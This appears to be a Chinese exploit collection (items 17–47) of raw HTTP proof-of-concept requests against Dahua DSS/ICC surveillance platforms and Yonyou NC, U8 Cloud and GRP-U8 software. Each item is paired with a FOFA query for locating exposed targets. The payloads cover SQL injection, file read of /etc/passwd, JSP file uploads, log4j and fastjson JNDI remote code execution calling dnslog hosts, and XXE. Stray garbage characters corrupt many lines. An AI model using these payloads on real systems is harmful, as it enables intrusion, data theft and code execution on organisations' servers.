* a$ ]( i2 J$ P# `' a  cGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
8 \. {! z2 s/ Y, j; G* C% IAccept-Language: en
Accept-Encoding: gzip
& l( h$ ^7 J  o5 `" P+ d
8 R6 ]2 M& S, F% a( z2 F
17. 大华 DSS itcBulletin SQL 注入
" w: `1 |' x5 GFOFA：app="dahua-DSS"
; ~' j' F4 e' dPOST /portal/services/itcBulletin?wsdl HTTP/1.1
2 c( z* y- V' rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 e5 X. j' x8 }Content-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
) k4 u# X. i+ Y- b" H+ l<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
0 A: _8 |4 g, c% p$ R* H    </ns1:deleteBulletin>
, S2 Z) }+ c3 @+ R' B  </s11:Body>
</s11:Envelope>

1 }% f3 x- T4 G  o* U& L8 h
' {8 q' e# C+ }8 E, V18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
5 V' b4 F3 Q( s; \; |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ e$ d$ T% u9 I, p- a) w

# l3 G$ F  L) R- J% B" i
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
, E( v1 P/ o  @$ @0 K7 WFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
8 b6 G1 A6 a' _Accept: */*
: c1 L0 K+ U1 B! c# k" E9 _" b8 DConnection: keep-alive
. F; j* d: D) t( e" @
1 X: c! {, e* `$ C$ {( y
20. 大华ICC智能物联综合管理平台任意文件读取
) e' V3 H# J$ P* j* _FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
5 m' \( ^- |. Y" ^1 ]5 K# YHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ h# F5 X8 Z3 c# x5 b3 W. IConnection: close
Accept: */*
Accept-Language: en
9 n4 X. Q$ d) k5 r7 TAccept-Encoding: gzip
, u# f" C3 h1 i. A# q* F
- S% z' c$ k$ ^7 `
21. 大华ICC智能物联综合管理平台random远程代码执行
9 [0 g, o) X1 `, FFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
# t' f' q. h$ g; ~# H+ C0 s0 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
/ w1 _- K: \2 {6 {! y7 u- WAccept-Encoding: gzip
2 W$ y  H1 f/ v5 T/ iConnection: close
+ O0 u3 }( Y0 O6 |. OContent-Type: application/json;charset=utf-8
: G1 X1 J* }2 q! W7 @4 z
5 i7 B# l, b7 n* H1 R# m: m  v{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
6 G' ~; d9 d' |5 x" y  }""
}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
0 e9 q) s( m2 ?! W7 kHost: your-ip
: t& r9 @2 f& a1 z& d' aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

  l) p6 d, M5 n# _. y3 N{
"loginName":"${jndi:ldap://dnslog}"
9 G+ l) }/ N  v; f2 ?# W0 [}



23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
4 R, V) E7 Y9 }FOFA：icon_hash="-1935899595"
+ [  x4 V% X3 r; n- WPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 A6 N0 v& T$ Y; SContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
& }! }( u2 l5 ^0 t+ d" m, t       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
, V; Y( N3 Q4 y) |# O" }- r& H}


* a. _, E# q0 R7 H' J: x$ q24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
7 X3 f8 @* C3 V3 D& MPOST /aim/equipmap/accept.jsp HTTP/1.1
0 q; L$ I* q% M2 Y, |Host: x.x.x.x
3 P3 m, W' e( U: A, E- }( i. dUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
5 [" h4 @, [8 m8 K; y6 }Accept: */*
8 C9 J( s4 i7 _) {1 r# s! j! }Accept-Encoding: gzip
: ?2 s$ _/ g2 hContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
. b$ H5 C0 g' B) e
7 a  E- x2 D. g0 D& @2 h2 x5 [-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
4 h7 P; F7 w' O8 r1 RContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
, k0 Z9 d4 v  H% _6 w) p: E0 V-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
5 Q, Q5 O% @0 O
$ {2 X4 r/ b4 g\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

8 `1 w5 L$ R: U& ~1 k8 W. Z
: a8 ^* B; R5 B7 ]0 v. D25. 用友NC registerServlet JNDI 远程代码执行
' N! V0 ?9 R" `" `1 J0 SFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
/ T* Q) I5 V2 f; \Host: your-ip
) k( o7 m$ D! I5 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
% s' q% D8 k! Z0 FAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
6 P) F4 t: @# T; x5 R2 g' e% kContent-Type: application/x-www-form-urlencoded

1 L4 P" ]3 x# Y$ G7 y( c) ctype=1&dsname=ldap://dnslog
5 Z0 I8 z( p+ G2 M
5 P) u5 N( C4 ]# e9 _5 W$ l

$ v. N$ F' x5 F7 r& w3 t6 K26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  B& E1 l8 v, {; b- D/ ?8 N$ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
% [' ^  y. Z: g. P8 hAccept: */*
( Z$ l) x. Y$ \" QConnection: keep-alive

% Q- G. D! H3 Y$ q! d& B
27. 用友 NC showcontent SQL注入
; X$ T" ?  X# tFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
! o3 p% j7 Q/ \9 ~Host: your-ip
7 l* j1 V4 p5 S4 P  bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ S$ r. p: Q8 U- |Accept-Encoding: identity
Connection: close
2 u  g$ n& U: u: G! hContent-Type: text/xml; charset=utf-8
5 L5 J6 i5 J8 D/ M( C

28. 用友NC grouptemplet 任意文件上传
- f& y4 ~8 O4 v7 F: lFOFA：icon_hash="1085941792"
% [. A' g# J) A: m0 J, L# }" IPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
& v5 V% Q! l3 i% T, D9 cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
4 y* T; @9 ^( y- kConnection: close
Content-Length: 268
0 d+ q8 j" \) DContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
- `; k  i/ v" N
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
. V% j- |7 Z' s, X3 m  \$ C. V8 XContent-Type: application/octet-stream
2 S7 \9 A) X, f# b9 E4 t& E
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
" S9 t9 R9 ?3 k) ]

) V& k, w* [" F8 P/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
: M3 F! U3 Q* W' n6 y* M) }9 bFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
7 s$ X: U' `1 LGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
3 k& r0 o2 w, oHost: your-ip
+ i( t- O$ n5 D, w  JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# J* k5 J3 ]7 x& F7 e5 A/ ]& ]- zContent-Type: application/x-www-form-urlencoded
  f, c; ^( |" a4 J! y  rAccept-Encoding: gzip, deflate
Accept: */*
, k) i+ q9 d# }0 r2 a1 |" a( B' b: WConnection: keep-alive
; [8 a8 `' L! S  v7 |' W% N
3 u. I* U) z  v$ n8 t) q8 K
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
7 ^: h+ O$ |, a% f. b$ Z( eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
& t4 I# p$ O7 V8 @8 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
3 C' J" B9 p( |" MContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
. S  f) g2 F) ]7 @& K* mContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
) [* ]$ `. u- M( @8 R, Z+ t; d

31. 用友NC runStateServlet SQL注入
version<=6.5
9 P2 G. t" f6 R, L+ TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
5 p  H  n) f% H$ ZGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 |% \. h6 O" O. d& ]4 i& [& CContent-Type: application/x-www-form-urlencoded


/ n$ G) t, ^1 w. z32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
- _8 M; R4 G' {GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) ]& v/ h6 z6 yHost: your-ip
7 L" A/ g$ S0 M! Y# ?3 i( a3 E) g0 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* M* h9 {! a8 Y$ wContent-Type: application/x-www-form-urlencoded
0 a+ ]1 \1 |3 V* nAccept-Encoding: gzip, deflate
Accept: */*
4 y* t$ a, k  N: H3 Y. W* X3 fConnection: keep-alive


33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
4 W! B5 c( G: B8 x9 `( S* vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
* N9 a0 n6 B0 S0 EAccept: */*
6 r  B" I, v( s# c1 _8 JConnection: keep-alive

/ }0 `9 `4 W7 Z* S
1 M  ^2 h0 Q0 l( j' ~34. 用友NC warningDetailInfo接口SQL注入
* B) h* ]" a8 t5 wFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& q; I+ ^2 P: ?0 L# G& e: ?9 Z$ AHost: your-ip
# |* o' y6 b* ], r! GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% d& g" i# P; A8 R" @Accept-Encoding: gzip, deflate
  A" x" ^# D; ^0 t; x5 RAccept: */*
Connection: keep-alive
1 u/ a* Z0 J) e3 [6 g, V

35. 用友NC-Cloud importhttpscer任意文件上传
7 z  H/ v# g4 \0 q, sFOFA：app="用友-NC-Cloud"
% f. n; j; Q3 S$ N- B* `- t$ B- qPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
5 b, c- G! S5 R  H/ U" nAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
0 h% X& K/ i5 \1 jaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
, p7 n' Z, G8 Z5 w" H' f
3 t" g& L# \  J9 h7 P4 D--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

" c. E! t0 A, C+ ^' w6 W& {<%out.println(1111*1111);%>
/ o5 p1 K8 a9 H$ F+ G--fd28cb44e829ed1c197ec3bc71748df0--


. W1 k$ E' K$ R6 H. q) M6 d36. 用友NC-Cloud soapFormat XXE
! r2 ~' U8 p6 `8 B( E' gFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
( {  ]8 c: u* O* u$ f, m0 x+ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
, {. M; Z; h1 k7 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 v5 i  v' {! N7 f: }6 G8 L+ hAccept-Encoding: gzip, deflate
* P% f; O3 z5 C6 {) d7 w- PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
  D. }' i0 G7 }& q  k3 w3 WContent-Type: application/x-www-form-urlencoded
8 i  S1 D8 n  i4 P+ x" pUpgrade-Insecure-Requests: 1
0 i# P+ G' \( `) I1 I  _
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

" U. Y+ w1 K# m' S
  e% E3 V; ?7 \8 L: u37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
* ^9 K5 @1 v. B. m( I- YPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
- g& W) P3 l8 {3 k9 f6 w  g$ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- I" w6 V6 p; _5 R% N: B% DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  P; g, W- V5 TConnection: close
6 }# A# w. H) X' R' DContent-Type: text/xml;charset=UTF-8
$ _1 k& ?9 o( d# f5 s& c% @9 S; ^SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
# v" J' `! v# Y: M7 S  d
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
8 k# X# b$ ~/ }8 ?7 D. {8 C<soapenv:Header/>
) k* z$ L" P4 y, t" _<soapenv:Body>
<iup:getResult>
<!--type: string-->
7 N: Z* t# G6 `9 S# s* W<iup:string><![CDATA[
) d+ r- O2 T7 q7 u6 v: L& h8 @<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
' Z# ]& o! f7 p% X5 ~- Q) ^<xxx/>]]></iup:string>
' a- i3 t0 ]; H4 |2 q</iup:getResult>
- p' ^0 ?4 Z- R1 w+ G: ?$ b/ f9 o</soapenv:Body>
</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
+ V$ Y: _3 J7 k, f3 z9 z6 R1 U" X; k4 XFOFA：app="用友-U8-Cloud"
3 X- e+ E; [% j  h) CPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
3 C4 O8 I9 O. c7 q+ p: `Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
* C6 I  b0 r1 e3 p- n4 `( v8 `. SContent-Length: 260
9 y, H+ v% I: x! W8 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
% G- `. M& R6 x# xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) U& Q( t2 c$ W/ t5 QContent-Type: application/x-www-form-urlencoded
# H+ T- B0 B6 b( t+ c
; Z! O6 \& z/ |8 }, `$ e__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


7 Q. c5 G7 l7 _39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
2 s3 ]$ T: L' F. p: w+ c  n2 EPOST /servlet/RegisterServlet HTTP/1.1
& W4 _9 M: Z  O% s& D' z7 |Host: 192.168.86.128:8089
4 {( z, K/ v* j$ ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
, b& j9 l, q+ W8 F# e3 D6 YContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

: H# D* W, T5 o, q5 w! ?3 }usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


# |1 }9 E: z* l6 N7 @, Q/ G40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
& C! q  _6 J+ n* H" J% l5 I# _POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 A1 D' @/ d# A& @9 S0 W. FContent-Type: text/xml
: |9 R0 G# r# y1 VConnection: close
8 s. _* o6 o3 g, K( ^+ N6 Z9 G. @. H3 g
. K* a0 \; v% o* K<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


: w# f4 v  S% h" X41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
+ \& U# w# D& [4 KFOFA：app="用友-U8-Cloud"
* a5 y0 T$ y: j* C; i, G* c4 `GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
" \  `$ t0 c" D* f& O' j9 L9 ~- c' v- s

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
6 u1 Y+ B' Z0 y7 _POST /u8qx/SmartUpload01.jsp HTTP/1.1
* p4 N' [$ {3 ]1 f4 pHost: x.x.x.x
- T! {3 ~3 q) ]' F; M1 lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
' D3 B3 a: j: t& V5 ^% B# CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
4 s0 t" r6 G2 w# u+ l/ ]5 e& W
PAYLOAD


8 x; H: y& W2 E: ^http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

' w- Z1 J  m! g( K. u+ Q0 o  t43. 用友GRP-U8 userInfoWeb SQL注入致RCE
7 d$ ^% l5 \1 vFOFA：app="用友-GRP-U8"
8 q( Z! s( S" }POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) O' f3 l+ a1 B: H  b8 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# X- j" J$ D" \% K. Q0 }6 j+ Q2 `Accept-Encoding: gzip, deflate
7 A$ b% l' [  NAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
/ Q3 U% o9 N$ |5 p, yContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
1 X1 s4 F! L" h3 Y( Y% v; D% l      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
5 J$ |8 C+ g* d" o# m         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
& I0 Q/ F- l9 S% H6 e& g3 aFOFA:app="用友-GRP-U8"
& g; _- m  m. u$ U) [! l( oGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
5 w! @4 E  Q! ]$ k% c( H( X) b+ _Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
) ]7 P( B% e: |9 i' \$ SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 \, _0 O0 z* W' ^% ?( e' iAccept-Encoding: gzip, deflate
( X4 y, C5 a# }) rAccept-Language: zh-CN,zh;q=0.9
Connection: close


0 ~. z" s$ J  u6 X2 o, Y45. 用友GRP-U8 ufgovbank XXE
' y) U6 m  j& A# qFOFA：app="用友-GRP-U8"
4 I+ w% ^9 S7 y, ~: f# p+ CPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
( m$ ^5 b" u( N( r8 O" ~% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
( `/ s7 B6 g- N( X; e$ {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ `) k2 c2 P* o1 e% F7 WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 s( w, E  W& H! ~2 |
- {1 U' z0 {9 ?7 x% |$ z! V: RreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


3 L% `# X- s& m46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
4 D& K; E5 l2 O1 AGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
9 q( ?; @' e0 B( e( O# IHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
- }* ^8 s2 ?" S! {4 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ z( A) ^! A- C# A2 X4 aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 t9 \3 @9 i  a0 }Connection: close

, j. b3 F. {( U2 h
7 [$ b- X) q* d47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
: X0 |9 l5 V! ]9 UGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
1 K% C7 g4 m% d  [. }2 J+ OCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
